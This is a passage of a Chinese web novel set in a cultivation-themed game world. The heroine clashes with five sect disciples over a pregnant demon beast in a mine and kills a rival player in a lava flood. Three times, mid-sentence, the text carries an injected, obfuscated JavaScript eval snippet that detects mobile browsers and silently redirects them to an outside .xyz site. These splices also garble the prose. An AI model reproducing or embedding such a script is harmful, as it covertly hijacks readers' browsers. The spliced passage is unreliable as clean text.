宇文雁的手中变戏法似的掏出一根香,约莫一尺长,她的指尖噼啪一闪,熏香被点燃,缕缕烟气飘散,刺鼻的气味让崔滢下意识捂住口鼻,舔了舔发痒的尖牙。 糟糕,方才修炼耗费了太多力气,好像有点撑不住了。 “先坐下等等吧。” 六人围坐,中央燃起一团火,几个人开始分粮食。崔滢忽然发现这些人的位置分布有些奇怪,荀慧靠着茂成龙,宇文雁则和庄明俊挨得近,剩一个汪夷孤零零。 崔滢羡慕了一下:“你们关系真好。” “呃?”荀慧有些意外地看着她,抱住茅成龙歪头道,“因为我们是道侣呀。” 崔滢:嗯嗯……嗯?! 荀慧甜甜一笑,语气也随之灌上了蜜,“龙龙,我饿了。” 茅成龙宠溺地刮了刮她的鼻梁,掰下一块点心,荀慧的舌尖卷过指尖,皱眉道,“有点噎。” “噎就喝水呀。” “你帮我。” “喝水我怎么帮?” “不管,我就要你帮……” 崔滢简直不敢相信自己看到了什么。 她缓缓挪开目光,对着虚空眼神发直:…… 人类发情原来是这样的吗? “你们俩也真是,这还有人在呢,注意点影响!”庄明俊佯怒拍腿,不经意瞥了一眼宇文雁,“平时虐虐汪夷也就算了,等下崔滢跟她师父告状,你俩就等着在全宗门面前丢脸吧!” 汪夷就是那个刘海遮眼的男子,除了进矿道前见他用了一记水弹,从头到尾都没听见他吱过声。 “崔滢,你看汪夷怎么样?”茅成龙自然而然地接话道,“我们这些人就他还是单身,木头一个,迟迟找不着道侣,至今修为都卡在筑基初期。” 崔滢:??? 她的眼睛已经瞪到最大,还没整理好表情,又因为茅成龙这句话缓缓将头扭过来,究极震撼地看着面前这五个人,仿佛重新认识了一遍人类。 然而这几个人已然沉浸在大团圆的配平艺术中无法自拔,全然忽视了崔滢诡异的表情,兴奋道: “崔师妹进宗都一年了也才堪堪练气,我看是有些天赋,只是遇到瓶颈了。相逢即是缘,汪夷正愁找不着道侣呢,不若你俩结成一对,阴阳互调,咱们今晚就算找不到血髓琉璃兽,也算成了一件美事啊!对不对?哈哈哈……” 大家都在笑,汪夷抿着嘴不说话,宇文雁推了茅成龙一下,空气里充满了快活的气息。 崔滢:“…………” 上帝啊,主啊,圣母玛利亚啊。 没人告诉她接支线任务还要承担面对弱智的风险啊!! “你怎么看。”荀慧一副不依不饶的模样,“别看汪夷闷是闷了点,人很好的,力气也大,你俩也都是水灵根,哎,真不试试?” “不了。”崔滢面无表情地拒绝,“我喜欢女的。” 矿道里忽然安静了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269637|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “比起和他。”崔滢木着脸转向近在咫尺的荀慧,“我更想和你试试。” “…………” 所有人被这突如其来的消息雷的外焦里嫩,荀慧的脸一下就绿了,不动声色地往茅成龙那边缩了缩,再没言语。 很小的一声响,一个雪白的物件从崔滢身上掉落,打破了原本僵直的氛围,庄明俊就在崔滢的右手边,顺手捡起拔开瓶塞嗅了嗅,眉毛一抖,“筑基丹!” 五个人的眼睛不约而同睁大了,脸上浮现出羡慕的神色。 “这么贵重的东西,谁给你的。”庄明俊看了又看,依依不舍地还回去,“邱长老?” 崔滢捏着药瓶:“是宋如莺师姐。” 她抬眼,看着所有人愣住的表情,有些不明所以,“怎么了?” “真的假的,那她人还挺好。”庄明俊讪讪笑了几下,“你们关系不错?” “还好,不熟。” “她自己都很拮据吧,怎么还送你这么贵重的丹药,想讨好你?”崔滢循着声音看过去,茅成龙继续道,“宋如莺也就看上去好,这人心思很深的,寒门出身,鱼龙混杂的地方长大,明明是内门弟子,却只能靠接低阶任务过活,高阶的都是长老们的人情债。” 五个人你一言我一语。 “脸是有几分姿色。”“你说什么?”“啧,这不聊天呢吗,较什么真呢。” “宋如莺到什么境界了,金丹?”庄明俊道,“唉,要是我能和她一样是青柚长老的座下弟子就好了,天材地宝地供着,努力个几年,谁还不是个金丹了。” “吁——”荀慧带头起哄,“少看得起你自己了!” 庄明俊不服了,一下搂过宇文雁,声声振地,“行,我不行,那雁儿呢?她的灵根天赋不比那些内门弟子差吧?就是不比旁人会变通,不比旁人运气好。这回宗门大比,那些内门弟子就等着开眼吧,我雁儿就是下一个宋如莺!” “哎,可不能这样比啊!” 宇文雁轻轻锤了他一拳,众人齐声笑,矿道里回荡着细碎的欢乐。 崔滢发现这些人好像不太喜欢宋如莺。 虽然她们和他们嘴上都没有明说,甚至还肯定了她的部分优点,但藏得再深,也能嗅到那股若隐若现的恶意。 她很想知道原因,所以她就问了。 “你们是不喜欢宋师姐吗?” 桌上原本热烈的氛围因为这句话静谧了一秒。 崔滢觉得她好像触发了什么开关,或者某个齿轮终于对上了残缺的那一角,“咔哒”一声,这场聚会褪去了和善的表面,露出狰狞一角。 “崔师妹肯定是进门晚,不知道那些事情。”茅成龙道,“荀慧,你来说。” 荀慧白了他一眼,犹豫一会儿道: “其实大家讨厌她也没什么,本来就不是一个好人。” “宋如莺喜欢木泓师兄,这你知道吧?” 其实根本没看出来,但崔滢还是点点头。 “假的!”荀慧道,“别看她天天跟在木泓屁股后面纠缠,就是想讨木泓来做道侣。你知道在木泓之前还有多少?”荀慧伸出手指,“三个!” “……” “宋如莺所修的功法威力无穷,升级快,却极其霸道,灵脉运转流速远大于普通修行,除非背靠世族大家,有秘境和天材地宝辅佐补充灵力,否则非得被这功法吸干不可。” “可那宋如莺是什么人?寒门出身,亲娘死在窑子里,恶地出坏种,哪来的秘境和宝物供她修炼,就专门找那些世家大族的弟子,哄骗他们结成道侣,吃干抹净后再甩手走人,你说,缺德不缺德?” “三个道侣,啧啧啧,全都落了个家破人亡,灵脉溃散的下场,恨宋如莺恨的牙痒!这么邪门的功法也只有她肯练,迟早遭报应。” “就是可怜木泓师兄咯!”庄明俊摇摇头,茅成龙却添嘴道,“话说,那木泓也不是什么好东西,你们没听说过?木泓进入内门的那一年宗门大比,和他对试的弟子不是伤就是残,直接断了修仙路,下手毒得很。表面看着风光霁月,倒是有好多小姑娘喜欢,实际啊,嗨嗨,”他摆手,“都那样!” “确实,木泓也不是什么好东西。”荀慧点头重复,眉毛一挑道,“不过就事论事嘛,木泓很强啊。” “而且木泓其实蛮可怜的。”宇文雁也说。 “掌门的长子,既要天赋又要努力,据说十五岁以前连风筝是什么都不知道,只知剑器和修炼,简直是个怪物。” “高处不胜寒啊,光鲜亮丽的大宗内部,谁知道藏着什么龃龉?我们这等凡俗之子可想象不到。” “别看木泓一本正经,这种正经人,一旦疯了都很可怕的,宋如莺还以为她套着了一个木头呢,算盘怕是要落空哦。” 她们说木泓可怕,却并不是忌惮的语气,笑嘻嘻的,带着点欣赏和向往的意味。 好奇怪。 宋如莺装,虚伪,假惺惺,就要被人人喊打; 可如果木泓是可能存在的神经病,他们会骂,会痛哭心软,会挖掘他悲惨的过往,缺爱的原生家庭,最后将他的疯狂戏剧化,谈笑化,合理化。 问题就在于,这个世界的大部分的错误,缺陷,谎言与恶行都情有可原,并不特别。 有的人的缺陷是致命点,有的人的缺陷是装饰品。 她的虚伪真该死,他虚伪一点又如何?反而成为了可爱之处。 崔滢点点头道:“这样。那宋师姐和木师兄还真是很相像的一对。” 空气寂静了一秒。 “哪里像了?”不知道是谁不满,“根本不一样好吗。” 这句话崔滢也表示赞同。 两个人的确有本质上的区别。比如,宋如莺是女人,木泓是男人。 只要搭建一个看似合理的桥梁,这个世界就会千方百计地疼爱男人,像个女人那样。 10. 宗门大比 闲聊间,熏香已燃到尽头,白中透绿的烟雾弥漫,降低了矿道里的能见度。 几个人等的都有些瞌睡,偶尔打起精神,只看见崔滢抱着腿睁着呆滞的眼睛,大而无神,颇为瘆人。 “是不是剂量不够?”庄明俊道,“妖骨缠的气味能够吸引大部分的妖物,这矿道连一只小妖都没有?我不信。” “或许,也有可能恰恰相反。”宇文雁沉思,“正因为有大妖,所以小妖们才不敢轻举妄动。” 话音甫落,矿道深处忽然一响,巨大的动静掐断了尾音,所有人立刻站起,宇文雁又点了一根妖骨缠,六人循声没入黑暗。 看着他们这副笃定行事的模样,崔滢却总有种不太妙的感觉。 从踏进这个矿道的那一刻起,仿佛有一股湿黏的视线死死跟随,若隐若现,每当崔滢要跟其他人说的时候,那种被注视的感觉又立刻消失了,像是幻觉。 这个矿道不是一般的诡异,崔滢想。 她得跟玛丽说,这部游戏要上市的话,必须得加一个惊悚或者恐怖的tag。 越往深处,石壁四周的碎灵石就越多,在黑暗中荧荧发亮,崔滢疑心这样的矿石可能蕴含某种辐射,正想着,最前方的宇文雁发出一声惊呼。 六个人停在了一面石壁前。 尽头是死路。 巨大的沉默攫住了六人,荀慧有些失望,“传闻果然还是传闻,我就知道,要是真的,这个废矿早就全是人了。白跑一趟。” “可是刚才的动静又是怎么回事?”庄明俊不死心,“总得有个解释吧。” “你不都看见了,这是死路啊,还要什么解释。”“你这么着急出去,不会是害怕了吧?” “行了。”宇文雁冷冷打断,“本来就是剑走偏锋,赌一把的事,都不许说了。” 两个人闭上嘴,庄明俊翻了个白眼,气氛有些凝固。 “你怎么看?”话锋忽然指向另一侧。 崔滢靠在石壁上,闻言抬头,只见面前五人齐刷刷望向自己,缓缓站直了。 她确实有点累了,修习那本剑诀耗费的力气比想象中的还要大,空虚就像一个黑洞在她的体内不断扩张,必须时刻压抑才不至于失控。崔滢深吸口气,弱弱道:“既然什么都没有,那要不然就走吧。” 说完这句话之后,五个人还是没有动。 就像是雕塑一样僵在原地,他们的视线像是冻住一样,崔滢心里发毛,狐疑道,“你们怎么了?” “……”荀慧张着嘴,伸出颤抖的手指,虚虚对准崔滢,口中发出断断续续的音节:“你,你……” 崔滢头皮一紧,“我怎么了?” 她舔了舔牙齿,眼珠子转一圈,并没发现自己有什么异常。 “身后……” 崔滢转头。 她的身后竟是一整面矿石。 晶莹的琥珀色含着血丝,崔滢的手刚要摸上去,余光就被矿石壁中央那一道深黑的裂缝吸引了。 ……不对? 意识到什么,崔滢的手一缩,往后退了几步。 下一秒,一层浊白色的瞬膜裹住整面矿石,旋即漆黑的石壁合拢,又张开,琥珀色中央的深黑裂缝挪了个位置,精准定位在不远处的崔滢身上。 崔滢:“……” 这根本不是矿石壁。 这是一只眼睛。 怪不得那五个人忽然不动了,她刚刚就站在这只眼睛下! 在宇文雁等人看向自己的时候,眼睛也正注视着她。 崔滢仿佛能够听见头皮噼里啪啦炸开的声响,思绪飞瞬之间矿洞开始震颤,石壁如同机关拼图般挪移,情境至此六人全部反应过来,他们根本不是走到了死路,这些堵住前路的石壁,就是妖兽的躯体! 崔滢想跑,扭头一看,五个人脸上都带着前所未有的兴奋表情,哪里有要逃的意思? “布阵!”宇文雁厉喝一声,五人默契散开,在狭窄的矿洞中飞快站成一个奇异的队形,灵力自他们脚下涌出,迅速缠绕成一个崔滢从未见过的图形,仿佛冥冥之中有千百道机理联结成阵,而后光芒大盛,灵力如离弦之箭冲向矿洞伸出,掀起滔天幕布! “它要逃。”察觉出妖兽的意图,宇文雁咬破指尖,精血之力加强了阵法,熊熊烈火将矿洞烧的宛如白昼,伪装成矿洞石壁的妖兽躯体震颤,鳞片蜷缩卷翘露出湿淋淋的玉色肉.体,汩汩青液渗出,原本庞大的躯体迅速缩小,朝着矿洞深处飞一般的游走。 宇文雁扭头,“荀慧!” 荀慧早已蹲下,两只手摁在阵法关节处,脚下的泥土忽然爆开,仿佛有一条地龙冒出,以不相上下的速度咬着妖兽的尾巴追去,荀慧满头大汗,忽而大喊:“它倒了,追!” 可以说是万箭齐发。 五道灵根的灵力齐刷刷斩在妖兽身上,崔滢在后边姗姗来迟,一声来自深处的恸苦哀鸣几乎击破耳膜,她的脚步停下了,心脏怦怦跳。 视野被碎灵石点亮,在矿洞深处的巢穴中,变回正常大小的血髓琉璃兽在人类灵力束缚下挣扎,睁着那双琥珀色血丝瞳眸,不甘,痛苦与愤怒鲜明流出,茅成龙拔剑插在血髓琉璃兽的尾根处,它哀嚎一声,像是瘫痪般哀倒,只剩下喘息。 “插尾巴有什么用?破腹取丹,这畜生再大喊大叫,把人引过来怎么办?” 崔滢往前走了几步。 庄明俊拔剑,荀慧失声叫道:“你要干什么?” 崔滢加快脚步。 “你们没杀过猪吗?”庄明俊不耐烦道,“杀猪放血,死前会一直叫,声传三里地,对这种畜生就该快刀斩乱麻。不然呢,荀慧,你都要取丹,不会还想着留它性命吧?” 荀慧脸色发白,没有说话。 庄明俊一只脚踩在琉璃兽的脑袋,那只琥珀色的眼睛虚弱地睁着,眼底倒映出胖子高举剑刃的模样,瞬膜刮过眼球,缓缓闭上眼睛。 “请等一下。” 手腕被“啪”地握住,力道之大令庄明俊一惊,猛地扭头,对上崔滢古井无波的眼睛。 庄明俊冷笑。 “崔小师妹,你这又是?” “这不是一只血髓琉璃兽。” 旁边的人其实已经听懂了崔滢的重音所在,但庄明俊显然正在情绪裹挟的上头中,反唇相讥:“崔师妹在想什么可以直说,何必把你我都当成傻子?这妖兽的特征和血髓琉璃兽一模一样,你觉得我会被你欺骗吗?!” “明俊。”宇文雁出声,“崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269638|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师妹不是那个意思。” 众人的视线重新落在巢穴里垂死的妖兽身上。 血髓琉璃兽通体覆盖着半透明的琉璃鳞甲,可随心变换颜色拟态,每一片鳞甲内都涌动着胭脂色的液态妖力,因为受了重伤,此刻正在以缓慢的速度流逝。 它的背后生着三对薄如蝉翼的膜翅,此刻全都耷落下来,集中覆盖在某一处。只要稍稍转变视野,便能瞧见血髓琉璃兽异常肿大的肚腹,血筋毕露,随着呼吸起伏,还有隐隐的颤动。 庄明俊的表情滞了一瞬,宇文雁苦涩的声音将剩下的话说出:“……它怀孕了。” “……” 因为攥着手腕,崔滢能够感觉到庄明俊正在颤抖,正想出言安慰几句,就听见后者喃喃:“这实在是,实在是……” “太幸运了。” 他的眼睛放大,呼吸急促,五官因为极度兴奋而稍稍移位,死死盯着妖兽起伏的肚子。荀慧忍不住:“你疯啦庄明俊,没听见雁儿姐说吗,这只母的怀孕了,正是虚弱的时候,现在剖腹取丹,会害死两条性命的!” “那可真是高尚啊。”庄明俊看过去,荀慧被他的眼神吓了一跳,“既想要取妖丹炼药走捷径,又想要保全道德做好人,哪有这么好的事?!” “妖丹被取可以再凝,哪里说过要杀生了?”荀慧白着脸梗着脖子道,“而且幼兽尚在胎中,连妖丹都没有,有什么用!” “谁说没用?” 庄明俊眼白泛红,“妖丹乃妖兽凝结,若是自愿赠予,灵韵相融,丹力纯粹,入药后可抵消部分副作用;相反,若强取妖丹,妖兽心怀怨怼,灵核受戾气所染,别说提升修为了,怕是吃下去过后,走火入魔都算轻的!” “只要用它腹中胎儿相挟,逼它自愿破腹取丹,这不就成了!” “我看你简直是疯了。” 众人循声看去,宇文雁站在不远处,冷冷地看着双目被贪婪染红的庄明俊,“无论是何捷径,三观道德乃修行之本分,道心之基础,取子挟母,此等违逆人伦之事,修行若要如此不择手段,和那些邪门歪道有什么区别?!” 荀慧点头如啄米:“对对对,雁儿姐你快劝劝庄明俊,他是不是鬼上身了?” “愚昧!愚蠢!你们懂个屁!一群什么都不是的npc还在这里当上伪君子了,可笑!!” 崔滢猛地看向庄明俊的侧脸。 在五人组爆发争执的这段时间,她的手始终扣在庄明俊执剑的手腕上,犹如铁钳不能撼动分毫。后者面色红涨,眼球凸出,像是一颗卤熟的猪头,丝毫感觉不到近在咫尺的凉凉的视线。 他刚刚说什么? 庄明俊,怎么会知道npc? 只有一种可能,崔滢不是傻子,她很快就反应过来,这一切到底是怎么回事。 早在看到天赋升级条件的时候就该意识到。 玛丽邀请她成为内测玩家的时候并没有明说,所以她一直都在想,这部游戏到底有没有对外开放。 如果没有,内测的名额又该如何筛选。 直到现在,才终于掌握了一个信息。 她盯着庄明俊激动的脸色,心头泛起异样的波澜。 这个游戏里,不止崔滢一个玩家。 11. 宗门大比 “你在说什么……你是不是真的中邪了?” 同伴嘴里忽然叽里咕噜冒出一串匪夷所思的字句,除崔滢以外的四个人都吓坏了,一直沉默的茅成龙甚至往四周看,疑似想在这个矿洞中找出潜在的精神控制的影响因素。 “松开。” 崔滢听见庄明俊的声音。 不同于先前,他的声音低沉,平静,充满潜在的威胁,还有轻蔑。崔滢明白,她听懂了。 这是玩家的语气。 人与人之间存在距离,再讨厌的邻居,见面时多少也要带点客气,再调皮的小孩,走近陌生的亲戚家时也要变得拘谨。现代的道德与礼仪让这种距离变成一种尊重的形式,而游戏不仅模糊了人与人的距离,也模糊了身为“人”的意识。 在这里,玩家首先是玩家,然后才是人。 值得庆幸的是,崔滢比庄明俊先一步知晓了对方玩家的身份。 在他还处在玩家对npc天然的心理优势之中时,崔滢已经开始思考另一些问题。 因为在思考,所以对庄明俊的要求反应不及时,后者因为没有如愿得到结果,有些恼羞成怒,挣扎几下未果后,他冷笑一声,阴鸷道:“这可是你自找的!” “喀嚓”,崔滢被剧痛扯回神,只见自己的手腕不止何时翻折了一百八十度,以一种诡异的姿态无力垂下,荀慧惊呼一声,庄明俊已高举起剑,一把捅进了琉璃兽的咽喉! “我知道你醒着,方才的话都听见了。”庄明俊盯着血髓琉璃兽合拢的眼皮,“自愿取丹,我保你腹中胎儿无虞。” 宇文雁勃然大怒:“庄明俊!” “现在阻止已经来不及了!”他大声喊,琉璃兽的血源源不断从咽喉喷出,有几滴溅到庄明俊的脸上,为那张被欲望改变的面庞增添几分扭曲的形状,“不论取不取丹,它都必死无疑。” 荀慧尖叫着捂脸,背过身不再看;宇文雁胸膛起伏怒目而视,却也是一句话都说不出来;茅成龙和汪夷始终保持沉默,似乎是中立者,更像是不出声的同盟。 崔滢就站在庄明俊的身后,面无表情摆了摆没知觉的手,手腕已经肉眼可见地肿了起来,原本纤细的骨节处鼓出个青紫色的包,像突然长出来的瘤。皮肤下的血管看得一清二楚,泛着吓人的紫红色。 有温热的液体在皮肤下游动,她知道那是血,正从骨折的地方渗出来,在皮下积成一片暗河。 不知道是不是庄明俊的话起了作用,琉璃兽睁开眼睛,漆黑的裂缝般的瞳仁落在庄明俊身上。 它缓缓伸出一只爪子,尖锐的部分对准胸腔处,小刀切豆腐那样划开,一颗鸽卵大小的妖丹徐徐漂浮而出,外层包裹着一层琉璃般的半透明膜,泛着淡淡的琥珀光泽,仿佛封存着一汪凝固的朝霞。 只是这样看着,便能感受到那强大的蕴含着千年矿髓之灵的力量。庄明俊的目光被点燃了,丝毫不去看琉璃母兽剖心取丹过后僵直在半空试图联系他的爪子,贪婪地注视着妖丹,哼声道,“倒时候炼成灵药,诸位服用时,可别忘了是谁的功劳。” 话音落,庄明俊拔剑划开母兽的腹部,碧色的血液汩汩流出,在那绝望的腹中,一枚通体碧玉的幼体琉璃兽已然成型,一根脐带连接着它和母体。 胎儿不知道外界发生了什么天崩地裂的变化,仍然安详的阖着眼睛,蜷缩在母体逐渐变凉的子宫中。 这与人类相似的生育结构让荀慧彻底崩溃,连站也站不住了,蹲在角落里呜咽。 宇文雁浑身颤抖,正好对上庄明俊得意的表情,一阵反胃涌上,被她强行压制下去了。 “可琉璃兽再怎么说也是活物,我们几个外门弟子,该如何饲养一只妖兽呢?” 茅成龙提出了关键的问题,庄明俊却不以为意,“谁说这里只有外门了?” 崔滢看着他转向自己,阴声道,“崔师妹,你不会见死不救的吧?” “……” 明明是他先逼杀的妖兽,到头来却将这个道德担子绑在了她身上。 崔滢还没说话,旁边的宇文雁就先厉声打断:“庄明俊。” “宗门大比输了可以再战,道心一朝毁去,修行之途从此荒废。这种手段得来的药,我不会吃,你也想好,自己应不应该吃!” 声声切切,堪称诚恳。但崔滢知道无论宇文雁说什么都于事无补。 因为对于庄明俊来说,这里只是游戏,他要做的就是打怪升级,什么道心什么修炼,对于他来说根本就是无法共情也遥不可及的东西。 庄明俊轻蔑一笑。 他反手一抖,一枚漆黑的留影石从袖中飘出,看到这样的高阶法器,众人的脸色都有些微妙,茅成龙忍不住道:“我们整日一块行动,你从何处得到的法器?” 没有来源的高阶法器。 崔滢一猜就是系统奖励。 庄明俊并没有回答,他将留影石往地上轻飘飘一扔,下一秒,矿道内凭空出现六个一模一样的人影,他们围坐在一团火周围,彼时崔滢正在说:“你们关系真好。” 荀慧抱住茅成龙,歪头,甜滋滋道:“因为我们是道侣呀。” “……” 众人震惊。 这家伙竟然从那么早就开始用留影石记录了! “诸位的一举一动都在这石头之中。”庄明俊收回留影石,“不论是私吞,检举,或是背叛,奉劝诸位先考虑考虑,承不承担得起同罪的名声。” 茅成龙这会终于拧眉:“你……” “妖丹你们拿走吧,这只小妖我收了。”崔滢道,“至于以后,大家如果有能力通过宗门大比,到时候再说吧。” 她不想再纠缠下去了。任务里只说灵石废矿,并没做其他要求,说明她只要和这群人结束探索即可,东西什么的无所谓。 只是最后一句话没说完,矿道忽然震颤起来。 话音被强行掐断,那种阴冷的被注视的感觉卷土重来,崔滢脊骨一凉,还没来得及出声警醒众人,就听得一道惊天动地的响,前所未有的危险信号刹那间狠狠刺了下来,崔滢脸色微变,越过庄明俊扑上去将琉璃兽腹中胎儿抱出,大力掐断脐带,往旁边一滚道: “都闪开!!” 轰隆隆隆———— 石壁开裂,巨大的缝隙闪电般劈将下来,昏暗之中一抹灼热的刺红夺目而出,带着可怖的热量,瞬间冲进了矿道! 众人大骇! 这是……岩浆???! 已经来不及去想为什么会有岩浆,六个人四肢狂甩拔腿就跑。汪夷殿后,水灵根之力打上去如同泥牛入海,竟不起半点作用。 火灵根的宇文雁也感受到了那股不同寻常的力量,这岩浆不对劲……不,简直是中了邪! 与此同时崔滢这边,虽然多了负重,仍旧健步如飞,她一心要甩掉那道躲在暗处的视线,为此特意放慢脚步落在队伍最后,想要以此引诱对方现身。 和她一起落在最后的,还有庄明俊。 并非无意,而是崔滢手里有他要的东西,难保她不会趁机动些手脚。 为此庄明俊甚至忽略了岩浆的威胁,全心全意跟踪崔滢,就在这时,矿道深处传来刺耳的摩擦,像是指甲刮擦般的延音,然后沉闷的击打声破墙而来—— 是爆炸。 庄明俊再也装不下去,对着崔滢的耳朵吼道:“你到底要干什么?” 崔滢莫名其妙看他一眼:? 眼见崔滢头也不回,身后的爆炸已轰然而至,那一瞬间所有的细节都变得十分缓慢。庄明俊的余光瞥见石壁的某处凹陷,正好可以容纳一个人,他伸手抓向崔滢的臂膀,身体则是往凹陷闪去。 这是一个意图十分明显的动作。 自己躲在凹陷内,让崔滢卡在外面,替他挡住那些岩浆。 算盘打得很好,甚至已经隐约看到崔滢被烈火灼烧殆尽的场面。 但当庄明俊的手抓上去时,他只觉得自己抓到了一樽千钧重石。 崔滢凉凉的视线侧过来,落在庄明俊僵硬又不可置信的表情上,目光相交的刹那,空气中火花迸溅。 “啪”,她打掉庄明俊的手,以迅雷不及掩耳之势转身掐住他的脖颈,而后闪身躲进凹陷。 后者瞪大双目,压根没有想到几乎全程都在沉默的崔滢有如此恐怖的决心,他剧烈挣扎起来,只是连一声惨叫都来不及发出,带着气流的岩浆已铺天盖地而至。 最后时刻,庄明俊看着崔滢头顶闪闪烁烁的提示文字,瞳孔渐渐放大。 “你,你竟然……” 崔滢回忆着基础剑诀上的要点燃起护体金光,她稳稳闭上眼睛,听着庄明俊撕心裂肺的惨叫被淹没在轰鸣之中。 不知过了多久。 白光渐渐消弭过后,崔滢掀开眼皮,因为那罕见的近似于阳光的热度,她的眼皮颤了两下,然后才看向近在咫尺的尸体。 ……只剩一具焦骨。 【玩家[gale]击杀玩家[冷锋不孤独]】 游戏提示音忽然跳出。 【您已获得天赋升级点数。】 【是否升级已有二级天赋“驯养”?】 玩家的已有天赋可以通过吞噬其他天赋来进行升级,伽莱原本还抱有一丝侥幸,现在看来玩家之间的天赋只能吞噬,并不能剥夺。 崔滢保存了点数,将焦骨丢到一旁,下意识拍手的时候才发现掐人的那只手已经化了,焦黑的骨头杵在小臂之上,她看了一会儿,叹了口气。 这下好了,右手断左手化,她现在是个无手人。 得赶在自愈之前见到剩下的四人组。 没有收到提示,说明任务还没有结束。崔滢匆匆往外走,几步之后又匆匆回来,尚未长出血肉的骨手拾起地上的焦骨,一手抱着沉睡的琉璃兽幼崽,赶往出口。 短短几息,矿道之内已改天换地,漆黑的硬石像是一条漂亮的凝固河铺设在矿道里,余热和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269639|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硫磺的气息刺激的崔滢的神经。 她很快见到了站在出口的四人组。 “崔师妹!” 宇文雁焦急出声,看清楚之后松了口气,可看见崔滢手里的东西之后,那一口气又提到了嗓子眼。 “……” 众人像是被掐住了脖子顿时默然,荀慧的脸早已由白转灰,跟个死人没差别,结结巴巴问: “庄明俊呢?” 崔滢提了提手里的骨头。 “扑通”,荀慧腿一软跪倒在地,缓缓捂住脸失声;茅成龙和汪夷看上去有点不敢置信,茫然地盯着那点风一吹就散的焦骨;宇文雁僵在原地,没有反应,也没有声音。 很久很久,她才张开嘴,声带却像是被烧过一遍,沙哑无比:“发生什么了?” 崔滢目移:“我在矿道里找到了一个凹陷,躲在了那里,出来之后,地上就剩这个了。” “…………” “既然没有亲眼见到,死的未必就是他。”茅成龙站出来,“我进去找。” 荀慧抬头,满脸泪光:“你疯啦!这是灵石废矿,谁知道废矿里除了岩浆还有什么?爆炸了怎么办?你死了倒罢了,你敢丢下我……” 她呜呜的哭了起来。 “不用去找了。” 尸骨蜷缩的手指里透出一枚莹亮的妖丹,直到死前最后一刻他都攥着这玩意。宇文雁木然地看着,眼眶发干,没有一滴眼泪,“这就是他,我知道。” 山林叶片在黑夜凉风中摩挲,四下阒寂,空气凝冻般降了下来,压在四人周身,沉重的喘不过气。 谁也没想到只是一次再普通不过的冒险,竟让他们付出了前所未有的代价。 崔滢放下尸骨,费劲巴拉地抠出妖丹,递给宇文雁,不想后者竟摇头道:“你留着吧,崔师妹,这妖丹我们要不起。” 茅成龙的脸色瞬间变了,刚要站出来反驳,崔滢就一脸茫然地开口:“啊,可这个是庄师兄用性命保住的,你们就这样抛弃了,不会浪费了这种牺牲吗?” “……” 茅成龙立刻附和:“对啊,这妖丹是我们拼尽全力取来的东西,说不要就不要,不是我说你雁儿,你也太……” “拼尽全力?” 宇文雁颤抖的声线冷冰冰落下,茅成龙瞬间噤声,“你是付出了什么,还是牺牲了什么?” “……” “崔师妹,你不用再说了。”宇文雁道,“因果轮回环环相报,事到如今,都是我等急功近利,耍奸取巧的报应,修行本不合此道。这妖丹你看着处理吧,至于强闯废矿,我自会领着他们去戒律院领罚。” 茅成龙表情难看:“你这就……”被汪夷和荀慧齐齐捂住嘴拖下去了。 崔滢也无言片刻。 她想了想,拿着妖丹放在琉璃兽幼崽嘴边,一根手指轻松挑开,而后顺理成章,妖丹滑入了幼崽的口中。 别说后边三个,就连宇文雁都惊呆了,沉重的表情凝固一瞬,目光挪移到崔滢若无其事的脸上。 幼崽睡得安详,丝毫不觉自己刚刚吞服了亲娘。 “早产儿,体虚,同宗同源的力量,或可弥补。”宇文雁好半天才找到了一个勉强及格的解释,抬手行礼,“此番多谢崔师妹相助,来日有缘再会。” 四人组消失在罗汉峰的深林之中。 崔滢立在原地目送,半晌过后才“哎呀”一声,拍了下脑袋。 忘记问他们是怎么从外门上来的了。 算了,不要紧。现在最要紧的事,是怎么处理怀里的这只小妖兽。 一想到那四个人挥挥手不带走一片云彩的走了留给她这么一个大问题,崔滢就有些头疼脑热。她靠着树干坐下来,正发着呆,耳尖一动。 谁在笑? 她警觉起来,夜视能力扫过周遭,凉风愈盛,枝条相击,那一声倒像是幻听。 可崔滢确信自己没有听错,她缓缓仰头,头顶的植桠,一片雪白的衣角垂落。 视线往上,衣角的主人眉梢带笑,眼眸含情,眼光如同一片柳叶落下,轻轻搔在心尖。 可惜崔滢没有心。 “杀人的滋味怎么样?”他轻晃着腿,像是一片雪白的梦魇降落在这个黑夜,“牺牲同伴的感觉,怎么样?” 崔滢:“……”天大的误会。 这个魔头不会知道,她杀的是一个玩家。虽然还不清楚这个游戏的规矩,但是顶多让他登出或者销号。 她杀的是一个账号,而不是人。 